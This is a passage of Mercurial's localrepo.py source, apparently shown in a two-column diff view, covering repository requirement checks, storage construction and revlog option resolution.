901 | # Add derived requirements from registered compression engines. | |
902 | for name in util.compengines: |
|
902 | for name in util.compengines: | |
903 | engine = util.compengines[name] |
|
903 | engine = util.compengines[name] | |
904 | if engine.available() and engine.revlogheader(): |
|
904 | if engine.available() and engine.revlogheader(): | |
905 | supported.add(b'exp-compression-%s' % name) |
|
905 | supported.add(b'exp-compression-%s' % name) | |
906 | if engine.name() == b'zstd': |
|
906 | if engine.name() == b'zstd': | |
907 | supported.add(b'revlog-compression-zstd') |
|
907 | supported.add(b'revlog-compression-zstd') | |
908 |
|
908 | |||
909 | return supported |
|
909 | return supported | |
910 |
|
910 | |||
911 |
|
911 | |||
912 | def ensurerequirementsrecognized(requirements, supported): |
|
912 | def ensurerequirementsrecognized(requirements, supported): | |
913 | """Validate that a set of local requirements is recognized. |
|
913 | """Validate that a set of local requirements is recognized. | |
914 |
|
914 | |||
915 | Receives a set of requirements. Raises an ``error.RepoError`` if there |
|
915 | Receives a set of requirements. Raises an ``error.RepoError`` if there | |
916 | exists any requirement in that set that currently loaded code doesn't |
|
916 | exists any requirement in that set that currently loaded code doesn't | |
917 | recognize. |
|
917 | recognize. | |
918 |
|
918 | |||
919 | Returns a set of supported requirements. |
|
919 | Returns a set of supported requirements. | |
920 | """ |
|
920 | """ | |
921 | missing = set() |
|
921 | missing = set() | |
922 |
|
922 | |||
923 | for requirement in requirements: |
|
923 | for requirement in requirements: | |
924 | if requirement in supported: |
|
924 | if requirement in supported: | |
925 | continue |
|
925 | continue | |
926 |
|
926 | |||
927 | if not requirement or not requirement[0:1].isalnum(): |
|
927 | if not requirement or not requirement[0:1].isalnum(): | |
928 | raise error.RequirementError(_(b'.hg/requires file is corrupt')) |
|
928 | raise error.RequirementError(_(b'.hg/requires file is corrupt')) | |
929 |
|
929 | |||
930 | missing.add(requirement) |
|
930 | missing.add(requirement) | |
931 |
|
931 | |||
932 | if missing: |
|
932 | if missing: | |
933 | raise error.RequirementError( |
|
933 | raise error.RequirementError( | |
934 | _(b'repository requires features unknown to this Mercurial: %s') |
|
934 | _(b'repository requires features unknown to this Mercurial: %s') | |
935 | % b' '.join(sorted(missing)), |
|
935 | % b' '.join(sorted(missing)), | |
936 | hint=_( |
|
936 | hint=_( | |
937 | b'see https://mercurial-scm.org/wiki/MissingRequirement ' |
|
937 | b'see https://mercurial-scm.org/wiki/MissingRequirement ' | |
938 | b'for more information' |
|
938 | b'for more information' | |
939 | ), |
|
939 | ), | |
940 | ) |
|
940 | ) | |
941 |
|
941 | |||
942 |
|
942 | |||
943 | def ensurerequirementscompatible(ui, requirements): |
|
943 | def ensurerequirementscompatible(ui, requirements): | |
944 | """Validates that a set of recognized requirements is mutually compatible. |
|
944 | """Validates that a set of recognized requirements is mutually compatible. | |
945 |
|
945 | |||
946 | Some requirements may not be compatible with others or require |
|
946 | Some requirements may not be compatible with others or require | |
947 | config options that aren't enabled. This function is called during |
|
947 | config options that aren't enabled. This function is called during | |
948 | repository opening to ensure that the set of requirements needed |
|
948 | repository opening to ensure that the set of requirements needed | |
949 | to open a repository is sane and compatible with config options. |
|
949 | to open a repository is sane and compatible with config options. | |
950 |
|
950 | |||
951 | Extensions can monkeypatch this function to perform additional |
|
951 | Extensions can monkeypatch this function to perform additional | |
952 | checking. |
|
952 | checking. | |
953 |
|
953 | |||
954 | ``error.RepoError`` should be raised on failure. |
|
954 | ``error.RepoError`` should be raised on failure. | |
955 | """ |
|
955 | """ | |
956 | if ( |
|
956 | if ( | |
957 | requirementsmod.SPARSE_REQUIREMENT in requirements |
|
957 | requirementsmod.SPARSE_REQUIREMENT in requirements | |
958 | and not sparse.enabled |
|
958 | and not sparse.enabled | |
959 | ): |
|
959 | ): | |
960 | raise error.RepoError( |
|
960 | raise error.RepoError( | |
961 | _( |
|
961 | _( | |
962 | b'repository is using sparse feature but ' |
|
962 | b'repository is using sparse feature but ' | |
963 | b'sparse is not enabled; enable the ' |
|
963 | b'sparse is not enabled; enable the ' | |
964 | b'"sparse" extensions to access' |
|
964 | b'"sparse" extensions to access' | |
965 | ) |
|
965 | ) | |
966 | ) |
|
966 | ) | |
967 |
|
967 | |||
968 |
|
968 | |||
969 | def makestore(requirements, path, vfstype): |
|
969 | def makestore(requirements, path, vfstype): | |
970 | """Construct a storage object for a repository.""" |
|
970 | """Construct a storage object for a repository.""" | |
971 | if requirementsmod.STORE_REQUIREMENT in requirements: |
|
971 | if requirementsmod.STORE_REQUIREMENT in requirements: | |
972 | if requirementsmod.FNCACHE_REQUIREMENT in requirements: |
|
972 | if requirementsmod.FNCACHE_REQUIREMENT in requirements: | |
973 | dotencode = requirementsmod.DOTENCODE_REQUIREMENT in requirements |
|
973 | dotencode = requirementsmod.DOTENCODE_REQUIREMENT in requirements | |
974 | return storemod.fncachestore(path, vfstype, dotencode) |
|
974 | return storemod.fncachestore(path, vfstype, dotencode) | |
975 |
|
975 | |||
976 | return storemod.encodedstore(path, vfstype) |
|
976 | return storemod.encodedstore(path, vfstype) | |
977 |
|
977 | |||
978 | return storemod.basicstore(path, vfstype) |
|
978 | return storemod.basicstore(path, vfstype) | |
979 |
|
979 | |||
980 |
|
980 | |||
981 | def resolvestorevfsoptions(ui, requirements, features): |
|
981 | def resolvestorevfsoptions(ui, requirements, features): | |
982 | """Resolve the options to pass to the store vfs opener. |
|
982 | """Resolve the options to pass to the store vfs opener. | |
983 |
|
983 | |||
984 | The returned dict is used to influence behavior of the storage layer. |
|
984 | The returned dict is used to influence behavior of the storage layer. | |
985 | """ |
|
985 | """ | |
986 | options = {} |
|
986 | options = {} | |
987 |
|
987 | |||
988 | if requirementsmod.TREEMANIFEST_REQUIREMENT in requirements: |
|
988 | if requirementsmod.TREEMANIFEST_REQUIREMENT in requirements: | |
989 | options[b'treemanifest'] = True |
|
989 | options[b'treemanifest'] = True | |
990 |
|
990 | |||
991 | # experimental config: format.manifestcachesize |
|
991 | # experimental config: format.manifestcachesize | |
992 | manifestcachesize = ui.configint(b'format', b'manifestcachesize') |
|
992 | manifestcachesize = ui.configint(b'format', b'manifestcachesize') | |
993 | if manifestcachesize is not None: |
|
993 | if manifestcachesize is not None: | |
994 | options[b'manifestcachesize'] = manifestcachesize |
|
994 | options[b'manifestcachesize'] = manifestcachesize | |
995 |
|
995 | |||
996 | # In the absence of another requirement superseding a revlog-related |
|
996 | # In the absence of another requirement superseding a revlog-related | |
997 | # requirement, we have to assume the repo is using revlog version 0. |
|
997 | # requirement, we have to assume the repo is using revlog version 0. | |
998 | # This revlog format is super old and we don't bother trying to parse |
|
998 | # This revlog format is super old and we don't bother trying to parse | |
999 | # opener options for it because those options wouldn't do anything |
|
999 | # opener options for it because those options wouldn't do anything | |
1000 | # meaningful on such old repos. |
|
1000 | # meaningful on such old repos. | |
1001 | if ( |
|
1001 | if ( | |
1002 | requirementsmod.REVLOGV1_REQUIREMENT in requirements |
|
1002 | requirementsmod.REVLOGV1_REQUIREMENT in requirements | |
1003 | or requirementsmod.REVLOGV2_REQUIREMENT in requirements |
|
1003 | or requirementsmod.REVLOGV2_REQUIREMENT in requirements | |
1004 | ): |
|
1004 | ): | |
1005 | options.update(resolverevlogstorevfsoptions(ui, requirements, features)) |
|
1005 | options.update(resolverevlogstorevfsoptions(ui, requirements, features)) | |
1006 | else: # explicitly mark repo as using revlogv0 |
|
1006 | else: # explicitly mark repo as using revlogv0 | |
1007 | options[b'revlogv0'] = True |
|
1007 | options[b'revlogv0'] = True | |
1008 |
|
1008 | |||
1009 | if requirementsmod.COPIESSDC_REQUIREMENT in requirements: |
|
1009 | if requirementsmod.COPIESSDC_REQUIREMENT in requirements: | |
1010 | options[b'copies-storage'] = b'changeset-sidedata' |
|
1010 | options[b'copies-storage'] = b'changeset-sidedata' | |
1011 | else: |
|
1011 | else: | |
1012 | writecopiesto = ui.config(b'experimental', b'copies.write-to') |
|
1012 | writecopiesto = ui.config(b'experimental', b'copies.write-to') | |
1013 | copiesextramode = (b'changeset-only', b'compatibility') |
|
1013 | copiesextramode = (b'changeset-only', b'compatibility') | |
1014 | if writecopiesto in copiesextramode: |
|
1014 | if writecopiesto in copiesextramode: | |
1015 | options[b'copies-storage'] = b'extra' |
|
1015 | options[b'copies-storage'] = b'extra' | |
1016 |
|
1016 | |||
1017 | return options |
|
1017 | return options | |
1018 |
|
1018 | |||
1019 |
|
1019 | |||
1020 | def resolverevlogstorevfsoptions(ui, requirements, features): |
|
1020 | def resolverevlogstorevfsoptions(ui, requirements, features): | |
1021 | """Resolve opener options specific to revlogs.""" |
|
1021 | """Resolve opener options specific to revlogs.""" | |
1022 |
|
1022 | |||
1023 | options = {} |
|
1023 | options = {} | |
1024 | options[b'flagprocessors'] = {} |
|
1024 | options[b'flagprocessors'] = {} | |
1025 |
|
1025 | |||
1026 | if requirementsmod.REVLOGV1_REQUIREMENT in requirements: |
|
1026 | if requirementsmod.REVLOGV1_REQUIREMENT in requirements: | |
1027 | options[b'revlogv1'] = True |
|
1027 | options[b'revlogv1'] = True | |
1028 | if requirementsmod.REVLOGV2_REQUIREMENT in requirements: |
|
1028 | if requirementsmod.REVLOGV2_REQUIREMENT in requirements: | |
1029 | options[b'revlogv2'] = True |
|
1029 | options[b'revlogv2'] = True | |
1030 | if requirementsmod.CHANGELOGV2_REQUIREMENT in requirements: |
|
1030 | if requirementsmod.CHANGELOGV2_REQUIREMENT in requirements: | |
1031 | options[b'changelogv2'] = True |
|
1031 | options[b'changelogv2'] = True | |
1032 |
|
1032 | |||
1033 | if requirementsmod.GENERALDELTA_REQUIREMENT in requirements: |
|
1033 | if requirementsmod.GENERALDELTA_REQUIREMENT in requirements: | |
1034 | options[b'generaldelta'] = True |
|
1034 | options[b'generaldelta'] = True | |
1035 |
|
1035 | |||
1036 | # experimental config: format.chunkcachesize |
|
1036 | # experimental config: format.chunkcachesize | |
1037 | chunkcachesize = ui.configint(b'format', b'chunkcachesize') |
|
1037 | chunkcachesize = ui.configint(b'format', b'chunkcachesize') | |
1038 | if chunkcachesize is not None: |
|
1038 | if chunkcachesize is not None: | |
1039 | options[b'chunkcachesize'] = chunkcachesize |
|
1039 | options[b'chunkcachesize'] = chunkcachesize | |
1040 |
|
1040 | |||
1041 | deltabothparents = ui.configbool( |
|
1041 | deltabothparents = ui.configbool( | |
1042 | b'storage', b'revlog.optimize-delta-parent-choice' |
|
1042 | b'storage', b'revlog.optimize-delta-parent-choice' | |
1043 | ) |
|
1043 | ) | |
1044 | options[b'deltabothparents'] = deltabothparents |
|
1044 | options[b'deltabothparents'] = deltabothparents | |
1045 |
|
1045 | |||
1046 | lazydelta = ui.configbool(b'storage', b'revlog.reuse-external-delta') |
|
1046 | lazydelta = ui.configbool(b'storage', b'revlog.reuse-external-delta') | |
1047 | lazydeltabase = False |
|
1047 | lazydeltabase = False | |
1048 | if lazydelta: |
|
1048 | if lazydelta: | |
1049 | lazydeltabase = ui.configbool( |
|
1049 | lazydeltabase = ui.configbool( | |
1050 | b'storage', b'revlog.reuse-external-delta-parent' |
|
1050 | b'storage', b'revlog.reuse-external-delta-parent' | |
1051 | ) |
|
1051 | ) | |
1052 | if lazydeltabase is None: |
|
1052 | if lazydeltabase is None: | |
1053 | lazydeltabase = not scmutil.gddeltaconfig(ui) |
|
1053 | lazydeltabase = not scmutil.gddeltaconfig(ui) | |
1054 | options[b'lazydelta'] = lazydelta |
|
1054 | options[b'lazydelta'] = lazydelta | |
1055 | options[b'lazydeltabase'] = lazydeltabase |
|
1055 | options[b'lazydeltabase'] = lazydeltabase | |
1056 |
|
1056 | |||
1057 | chainspan = ui.configbytes(b'experimental', b'maxdeltachainspan') |
|
1057 | chainspan = ui.configbytes(b'experimental', b'maxdeltachainspan') | |
1058 | if 0 <= chainspan: |
|
1058 | if 0 <= chainspan: | |
1059 | options[b'maxdeltachainspan'] = chainspan |
|
1059 | options[b'maxdeltachainspan'] = chainspan | |
1060 |
|
1060 | |||
1061 | mmapindexthreshold = ui.configbytes(b'experimental', b'mmapindexthreshold') |
|
1061 | mmapindexthreshold = ui.configbytes(b'experimental', b'mmapindexthreshold') | |
1062 | if mmapindexthreshold is not None: |
|
1062 | if mmapindexthreshold is not None: | |
1063 | options[b'mmapindexthreshold'] = mmapindexthreshold |
|
1063 | options[b'mmapindexthreshold'] = mmapindexthreshold | |
1064 |
|
1064 | |||
1065 | withsparseread = ui.configbool(b'experimental', b'sparse-read') |
|
1065 | withsparseread = ui.configbool(b'experimental', b'sparse-read') | |
1066 | srdensitythres = float( |
|
1066 | srdensitythres = float( | |
1067 | ui.config(b'experimental', b'sparse-read.density-threshold') |
|
1067 | ui.config(b'experimental', b'sparse-read.density-threshold') | |
1068 | ) |
|
1068 | ) | |
1069 | srmingapsize = ui.configbytes(b'experimental', b'sparse-read.min-gap-size') |
|
1069 | srmingapsize = ui.configbytes(b'experimental', b'sparse-read.min-gap-size') | |
1070 | options[b'with-sparse-read'] = withsparseread |
|
1070 | options[b'with-sparse-read'] = withsparseread | |
1071 | options[b'sparse-read-density-threshold'] = srdensitythres |
|
1071 | options[b'sparse-read-density-threshold'] = srdensitythres | |
1072 | options[b'sparse-read-min-gap-size'] = srmingapsize |
|
1072 | options[b'sparse-read-min-gap-size'] = srmingapsize | |
1073 |
|
1073 | |||
1074 | sparserevlog = requirementsmod.SPARSEREVLOG_REQUIREMENT in requirements |
|
1074 | sparserevlog = requirementsmod.SPARSEREVLOG_REQUIREMENT in requirements | |
1075 | options[b'sparse-revlog'] = sparserevlog |
|
1075 | options[b'sparse-revlog'] = sparserevlog | |
1076 | if sparserevlog: |
|
1076 | if sparserevlog: | |
1077 | options[b'generaldelta'] = True |
|
1077 | options[b'generaldelta'] = True | |
1078 |
|
1078 | |||
1079 | maxchainlen = None |
|
1079 | maxchainlen = None | |
1080 | if sparserevlog: |
|
1080 | if sparserevlog: | |
1081 | maxchainlen = revlogconst.SPARSE_REVLOG_MAX_CHAIN_LENGTH |
|
1081 | maxchainlen = revlogconst.SPARSE_REVLOG_MAX_CHAIN_LENGTH | |
1082 | # experimental config: format.maxchainlen |
|
1082 | # experimental config: format.maxchainlen | |
1083 | maxchainlen = ui.configint(b'format', b'maxchainlen', maxchainlen) |
|
1083 | maxchainlen = ui.configint(b'format', b'maxchainlen', maxchainlen) | |
1084 | if maxchainlen is not None: |
|
1084 | if maxchainlen is not None: | |
1085 | options[b'maxchainlen'] = maxchainlen |
|
1085 | options[b'maxchainlen'] = maxchainlen | |
1086 |
|
1086 | |||
1087 | for r in requirements: |
|
1087 | for r in requirements: | |
1088 | # we allow multiple compression engine requirement to co-exist because |
|
1088 | # we allow multiple compression engine requirement to co-exist because | |
1089 | # strickly speaking, revlog seems to support mixed compression style. |
|
1089 | # strickly speaking, revlog seems to support mixed compression style. | |
1090 | # |
|
1090 | # | |
1091 | # The compression used for new entries will be "the last one" |
|
1091 | # The compression used for new entries will be "the last one" | |
1092 | prefix = r.startswith |
|
1092 | prefix = r.startswith | |
1093 | if prefix(b'revlog-compression-') or prefix(b'exp-compression-'): |
|
1093 | if prefix(b'revlog-compression-') or prefix(b'exp-compression-'): | |
1094 | options[b'compengine'] = r.split(b'-', 2)[2] |
|
1094 | options[b'compengine'] = r.split(b'-', 2)[2] | |
1095 |
|
1095 | |||
1096 | options[b'zlib.level'] = ui.configint(b'storage', b'revlog.zlib.level') |
|
1096 | options[b'zlib.level'] = ui.configint(b'storage', b'revlog.zlib.level') | |
1097 | if options[b'zlib.level'] is not None: |
|
1097 | if options[b'zlib.level'] is not None: | |
1098 | if not (0 <= options[b'zlib.level'] <= 9): |
|
1098 | if not (0 <= options[b'zlib.level'] <= 9): | |
1099 | msg = _(b'invalid value for `storage.revlog.zlib.level` config: %d') |
|
1099 | msg = _(b'invalid value for `storage.revlog.zlib.level` config: %d') | |
1100 | raise error.Abort(msg % options[b'zlib.level']) |
|
1100 | raise error.Abort(msg % options[b'zlib.level']) | |
1101 | options[b'zstd.level'] = ui.configint(b'storage', b'revlog.zstd.level') |
|
1101 | options[b'zstd.level'] = ui.configint(b'storage', b'revlog.zstd.level') | |
1102 | if options[b'zstd.level'] is not None: |
|
1102 | if options[b'zstd.level'] is not None: | |
1103 | if not (0 <= options[b'zstd.level'] <= 22): |
|
1103 | if not (0 <= options[b'zstd.level'] <= 22): | |
1104 | msg = _(b'invalid value for `storage.revlog.zstd.level` config: %d') |
|
1104 | msg = _(b'invalid value for `storage.revlog.zstd.level` config: %d') | |
1105 | raise error.Abort(msg % options[b'zstd.level']) |
|
1105 | raise error.Abort(msg % options[b'zstd.level']) | |
1106 |
|
1106 | |||
1107 | if requirementsmod.NARROW_REQUIREMENT in requirements: |
|
1107 | if requirementsmod.NARROW_REQUIREMENT in requirements: | |
1108 | options[b'enableellipsis'] = True |
|
1108 | options[b'enableellipsis'] = True | |
1109 |
|
1109 | |||
1110 | if ui.configbool(b'experimental', b'rust.index'): |
|
1110 | if ui.configbool(b'experimental', b'rust.index'): | |
1111 | options[b'rust.index'] = True |
|
1111 | options[b'rust.index'] = True | |
1112 | if requirementsmod.NODEMAP_REQUIREMENT in requirements: |
|
1112 | if requirementsmod.NODEMAP_REQUIREMENT in requirements: | |
1113 | slow_path = ui.config( |
|
1113 | slow_path = ui.config( | |
1114 | b'storage', b'revlog.persistent-nodemap.slow-path' |
|
1114 | b'storage', b'revlog.persistent-nodemap.slow-path' | |
1115 | ) |
|
1115 | ) | |
1116 | if slow_path not in (b'allow', b'warn', b'abort'): |
|
1116 | if slow_path not in (b'allow', b'warn', b'abort'): | |
1117 | default = ui.config_default( |
|
1117 | default = ui.config_default( | |
1118 | b'storage', b'revlog.persistent-nodemap.slow-path' |
|
1118 | b'storage', b'revlog.persistent-nodemap.slow-path' | |
1119 | ) |
|
1119 | ) | |
1120 | msg = _( |
|
1120 | msg = _( | |
1121 | b'unknown value for config ' |
|
1121 | b'unknown value for config ' | |
1122 | b'"storage.revlog.persistent-nodemap.slow-path": "%s"\n' |
|
1122 | b'"storage.revlog.persistent-nodemap.slow-path": "%s"\n' | |
1123 | ) |
|
1123 | ) | |
1124 | ui.warn(msg % slow_path) |
|
1124 | ui.warn(msg % slow_path) | |
1125 | if not ui.quiet: |
|
1125 | if not ui.quiet: | |
1126 | ui.warn(_(b'falling back to default value: %s\n') % default) |
|
1126 | ui.warn(_(b'falling back to default value: %s\n') % default) | |
1127 | slow_path = default |
|
1127 | slow_path = default | |
1128 |
|
1128 | |||
1129 | msg = _( |
|
1129 | msg = _( | |
1130 | b"accessing `persistent-nodemap` repository without associated " |
|
1130 | b"accessing `persistent-nodemap` repository without associated " | |
1131 | b"fast implementation." |
|
1131 | b"fast implementation." | |
1132 | ) |
|
1132 | ) | |
1133 | hint = _( |
|
1133 | hint = _( | |
1134 | b"check `hg help config.format.use-persistent-nodemap` " |
|
1134 | b"check `hg help config.format.use-persistent-nodemap` " | |
1135 | b"for details" |
|
1135 | b"for details" | |
1136 | ) |
|
1136 | ) | |
1137 | if not revlog.HAS_FAST_PERSISTENT_NODEMAP: |
|
1137 | if not revlog.HAS_FAST_PERSISTENT_NODEMAP: | |
1138 | if slow_path == b'warn': |
|
1138 | if slow_path == b'warn': | |
1139 | msg = b"warning: " + msg + b'\n' |
|
1139 | msg = b"warning: " + msg + b'\n' | |
1140 | ui.warn(msg) |
|
1140 | ui.warn(msg) | |
1141 | if not ui.quiet: |
|
1141 | if not ui.quiet: | |
1142 | hint = b'(' + hint + b')\n' |
|
1142 | hint = b'(' + hint + b')\n' | |
1143 | ui.warn(hint) |
|
1143 | ui.warn(hint) | |
1144 | if slow_path == b'abort': |
|
1144 | if slow_path == b'abort': | |
1145 | raise error.Abort(msg, hint=hint) |
|
1145 | raise error.Abort(msg, hint=hint) | |
1146 | options[b'persistent-nodemap'] = True |
|
1146 | options[b'persistent-nodemap'] = True | |
1147 | if ui.configbool(b'storage', b'revlog.persistent-nodemap.mmap'): |
|
1147 | if ui.configbool(b'storage', b'revlog.persistent-nodemap.mmap'): | |
1148 | options[b'persistent-nodemap.mmap'] = True |
|
1148 | options[b'persistent-nodemap.mmap'] = True | |
1149 | if ui.configbool(b'devel', b'persistent-nodemap'): |
|
1149 | if ui.configbool(b'devel', b'persistent-nodemap'): | |
1150 | options[b'devel-force-nodemap'] = True |
|
1150 | options[b'devel-force-nodemap'] = True | |
1151 |
|
1151 | |||
1152 | return options |
|
1152 | return options | |
1153 |
|
1153 | |||
1154 |
|
1154 | |||
1155 | def makemain(**kwargs): |
|
1155 | def makemain(**kwargs): | |
1156 | """Produce a type conforming to ``ilocalrepositorymain``.""" |
|
1156 | """Produce a type conforming to ``ilocalrepositorymain``.""" | |
1157 | return localrepository |
|
1157 | return localrepository | |
1158 |
|
1158 | |||
1159 |
|
1159 | |||
1160 | @interfaceutil.implementer(repository.ilocalrepositoryfilestorage) |
|
1160 | @interfaceutil.implementer(repository.ilocalrepositoryfilestorage) | |
1161 | class revlogfilestorage(object): |
|
1161 | class revlogfilestorage(object): | |
1162 | """File storage when using revlogs.""" |
|
1162 | """File storage when using revlogs.""" | |
1163 |
|
1163 | |||
1164 | def file(self, path): |
|
1164 | def file(self, path): | |
1165 | if path.startswith(b'/'): |
|
1165 | if path.startswith(b'/'): | |
1166 | path = path[1:] |
|
1166 | path = path[1:] | |
1167 |
|
1167 | |||
1168 | return filelog.filelog(self.svfs, path) |
|
1168 | return filelog.filelog(self.svfs, path) | |
1169 |
|
1169 | |||
1170 |
|
1170 | |||
1171 | @interfaceutil.implementer(repository.ilocalrepositoryfilestorage) |
|
1171 | @interfaceutil.implementer(repository.ilocalrepositoryfilestorage) | |
1172 | class revlognarrowfilestorage(object): |
|
1172 | class revlognarrowfilestorage(object): | |
1173 | """File storage when using revlogs and narrow files.""" |
|
1173 | """File storage when using revlogs and narrow files.""" | |
1174 |
|
1174 | |||
1175 | def file(self, path): |
|
1175 | def file(self, path): | |
1176 | if path.startswith(b'/'): |
|
1176 | if path.startswith(b'/'): | |
1177 | path = path[1:] |
|
1177 | path = path[1:] | |
1178 |
|
1178 | |||
1179 | return filelog.narrowfilelog(self.svfs, path, self._storenarrowmatch) |
|
1179 | return filelog.narrowfilelog(self.svfs, path, self._storenarrowmatch) | |
1180 |
|
1180 | |||
1181 |
|
1181 | |||
1182 | def makefilestorage(requirements, features, **kwargs): |
|
1182 | def makefilestorage(requirements, features, **kwargs): | |
1183 | """Produce a type conforming to ``ilocalrepositoryfilestorage``.""" |
|
1183 | """Produce a type conforming to ``ilocalrepositoryfilestorage``.""" | |
1184 | features.add(repository.REPO_FEATURE_REVLOG_FILE_STORAGE) |
|
1184 | features.add(repository.REPO_FEATURE_REVLOG_FILE_STORAGE) | |
1185 | features.add(repository.REPO_FEATURE_STREAM_CLONE) |
|
1185 | features.add(repository.REPO_FEATURE_STREAM_CLONE) | |
1186 |
|
1186 | |||
1187 | if requirementsmod.NARROW_REQUIREMENT in requirements: |
|
1187 | if requirementsmod.NARROW_REQUIREMENT in requirements: | |
1188 | return revlognarrowfilestorage |
|
1188 | return revlognarrowfilestorage | |
1189 | else: |
|
1189 | else: | |
1190 | return revlogfilestorage |
|
1190 | return revlogfilestorage | |
1191 |
|
1191 | |||
1192 |
|
1192 | |||
1193 | # List of repository interfaces and factory functions for them. Each |
|
1193 | # List of repository interfaces and factory functions for them. Each | |
1194 | # will be called in order during ``makelocalrepository()`` to iteratively |
|
1194 | # will be called in order during ``makelocalrepository()`` to iteratively | |
1195 | # derive the final type for a local repository instance. We capture the |
|
1195 | # derive the final type for a local repository instance. We capture the | |
1196 | # function as a lambda so we don't hold a reference and the module-level |
|
1196 | # function as a lambda so we don't hold a reference and the module-level | |
1197 | # functions can be wrapped. |
|
1197 | # functions can be wrapped. | |
1198 | REPO_INTERFACES = [ |
|
1198 | REPO_INTERFACES = [ | |
1199 | (repository.ilocalrepositorymain, lambda: makemain), |
|
1199 | (repository.ilocalrepositorymain, lambda: makemain), | |
1200 | (repository.ilocalrepositoryfilestorage, lambda: makefilestorage), |
|
1200 | (repository.ilocalrepositoryfilestorage, lambda: makefilestorage), | |
1201 | ] |
|
1201 | ] | |
1202 |
|
1202 | |||
1203 |
|
1203 | |||
1204 | @interfaceutil.implementer(repository.ilocalrepositorymain) |
|
1204 | @interfaceutil.implementer(repository.ilocalrepositorymain) | |
1205 | class localrepository(object): |
|
1205 | class localrepository(object): | |
1206 | """Main class for representing local repositories. |
|
1206 | """Main class for representing local repositories. | |
1207 |
|
1207 | |||
1208 | All local repositories are instances of this class. |
|
1208 | All local repositories are instances of this class. | |
1209 |
|
1209 | |||
1210 | Constructed on its own, instances of this class are not usable as |
|
1210 | Constructed on its own, instances of this class are not usable as | |
1211 | repository objects. To obtain a usable repository object, call |
|
1211 | repository objects. To obtain a usable repository object, call | |
1212 | ``hg.repository()``, ``localrepo.instance()``, or |
|
1212 | ``hg.repository()``, ``localrepo.instance()``, or | |
1213 | ``localrepo.makelocalrepository()``. The latter is the lowest-level. |
|
1213 | ``localrepo.makelocalrepository()``. The latter is the lowest-level. | |
1214 | ``instance()`` adds support for creating new repositories. |
|
1214 | ``instance()`` adds support for creating new repositories. | |
1215 | ``hg.repository()`` adds more extension integration, including calling |
|
1215 | ``hg.repository()`` adds more extension integration, including calling | |
1216 | ``reposetup()``. Generally speaking, ``hg.repository()`` should be |
|
1216 | ``reposetup()``. Generally speaking, ``hg.repository()`` should be | |
1217 | used. |
|
1217 | used. | |
1218 | """ |
|
1218 | """ | |
1219 |
|
1219 | |||
1220 | # obsolete experimental requirements: |
|
1220 | # obsolete experimental requirements: | |
1221 | # - manifestv2: An experimental new manifest format that allowed |
|
1221 | # - manifestv2: An experimental new manifest format that allowed | |
1222 | # for stem compression of long paths. Experiment ended up not |
|
1222 | # for stem compression of long paths. Experiment ended up not | |
1223 | # being successful (repository sizes went up due to worse delta |
|
1223 | # being successful (repository sizes went up due to worse delta | |
1224 | # chains), and the code was deleted in 4.6. |
|
1224 | # chains), and the code was deleted in 4.6. | |
1225 | supportedformats = { |
|
1225 | supportedformats = { | |
1226 | requirementsmod.REVLOGV1_REQUIREMENT, |
|
1226 | requirementsmod.REVLOGV1_REQUIREMENT, | |
1227 | requirementsmod.GENERALDELTA_REQUIREMENT, |
|
1227 | requirementsmod.GENERALDELTA_REQUIREMENT, | |
1228 | requirementsmod.TREEMANIFEST_REQUIREMENT, |
|
1228 | requirementsmod.TREEMANIFEST_REQUIREMENT, | |
1229 | requirementsmod.COPIESSDC_REQUIREMENT, |
|
1229 | requirementsmod.COPIESSDC_REQUIREMENT, | |
1230 | requirementsmod.REVLOGV2_REQUIREMENT, |
|
1230 | requirementsmod.REVLOGV2_REQUIREMENT, | |
1231 | requirementsmod.CHANGELOGV2_REQUIREMENT, |
|
1231 | requirementsmod.CHANGELOGV2_REQUIREMENT, | |
1232 | requirementsmod.SPARSEREVLOG_REQUIREMENT, |
|
1232 | requirementsmod.SPARSEREVLOG_REQUIREMENT, | |
1233 | requirementsmod.NODEMAP_REQUIREMENT, |
|
1233 | requirementsmod.NODEMAP_REQUIREMENT, | |
1234 | bookmarks.BOOKMARKS_IN_STORE_REQUIREMENT, |
|
1234 | bookmarks.BOOKMARKS_IN_STORE_REQUIREMENT, | |
1235 | requirementsmod.SHARESAFE_REQUIREMENT, |
|
1235 | requirementsmod.SHARESAFE_REQUIREMENT, | |
1236 | } |
|
1236 | } | |
1237 | _basesupported = supportedformats | { |
|
1237 | _basesupported = supportedformats | { | |
1238 | requirementsmod.STORE_REQUIREMENT, |
|
1238 | requirementsmod.STORE_REQUIREMENT, | |
1239 | requirementsmod.FNCACHE_REQUIREMENT, |
|
1239 | requirementsmod.FNCACHE_REQUIREMENT, | |
1240 | requirementsmod.SHARED_REQUIREMENT, |
|
1240 | requirementsmod.SHARED_REQUIREMENT, | |
1241 | requirementsmod.RELATIVE_SHARED_REQUIREMENT, |
|
1241 | requirementsmod.RELATIVE_SHARED_REQUIREMENT, | |
1242 | requirementsmod.DOTENCODE_REQUIREMENT, |
|
1242 | requirementsmod.DOTENCODE_REQUIREMENT, | |
1243 | requirementsmod.SPARSE_REQUIREMENT, |
|
1243 | requirementsmod.SPARSE_REQUIREMENT, | |
1244 | requirementsmod.INTERNAL_PHASE_REQUIREMENT, |
|
1244 | requirementsmod.INTERNAL_PHASE_REQUIREMENT, | |
1245 | } |
|
1245 | } | |
1246 |
|
1246 | |||
1247 | # list of prefix for file which can be written without 'wlock' |
|
1247 | # list of prefix for file which can be written without 'wlock' | |
1248 | # Extensions should extend this list when needed |
|
1248 | # Extensions should extend this list when needed | |
1249 | _wlockfreeprefix = { |
|
1249 | _wlockfreeprefix = { | |
1250 | # We migh consider requiring 'wlock' for the next |
|
1250 | # We migh consider requiring 'wlock' for the next | |
1251 | # two, but pretty much all the existing code assume |
|
1251 | # two, but pretty much all the existing code assume | |
1252 | # wlock is not needed so we keep them excluded for |
|
1252 | # wlock is not needed so we keep them excluded for | |
1253 | # now. |
|
1253 | # now. | |
1254 | b'hgrc', |
|
1254 | b'hgrc', | |
1255 | b'requires', |
|
1255 | b'requires', | |
1256 | # XXX cache is a complicatged business someone |
|
1256 | # XXX cache is a complicatged business someone | |
1257 | # should investigate this in depth at some point |
|
1257 | # should investigate this in depth at some point | |
1258 | b'cache/', |
|
1258 | b'cache/', | |
1259 | # XXX shouldn't be dirstate covered by the wlock? |
|
1259 | # XXX shouldn't be dirstate covered by the wlock? | |
1260 | b'dirstate', |
|
1260 | b'dirstate', | |
1261 | # XXX bisect was still a bit too messy at the time |
|
1261 | # XXX bisect was still a bit too messy at the time | |
1262 | # this changeset was introduced. Someone should fix |
|
1262 | # this changeset was introduced. Someone should fix | |
1263 | # the remainig bit and drop this line |
|
